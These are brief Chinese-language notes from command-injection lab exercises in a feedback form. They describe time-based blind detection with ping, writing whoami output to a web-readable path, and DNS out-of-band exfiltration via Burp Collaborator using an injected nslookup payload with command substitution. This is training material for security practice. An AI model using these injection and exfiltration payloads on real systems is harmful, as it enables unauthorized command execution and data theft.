249 字
1 分钟
命令注入练习
1.题目提示反馈功能存在命令注入

优先测试 email 功能,email 功能常需要与系统命令进行交互

因为页面不回显,使用 ping 命令对本地地址进行 10 次 ping 测试,查看响应时间发现明显增加,说明存在命令注入
3.使用上一关的 payload 发现时间延迟,证明存在命令注入,但是需要打印出 whoami

将 whoami 执行的输出存入到一个我们可以访问的路径的文本中,在靶场中可以打开图片

所以存入到/var/www/imags/whoami.txt

访问成功
3.依旧反馈功能,使用盲命令注入发现无延迟,后端命令异步执行
利用 dns 外带

nslookup 查询域名的 ip 地址
右键选择 插入 Collaborator 利用 bp 生成的子域名查看命令是否执行
利用 ||nslookup whoami.burp.dsd.com|| 可以将命令输出拼接到域名查询中,也可用$(whoami)

拿到主机名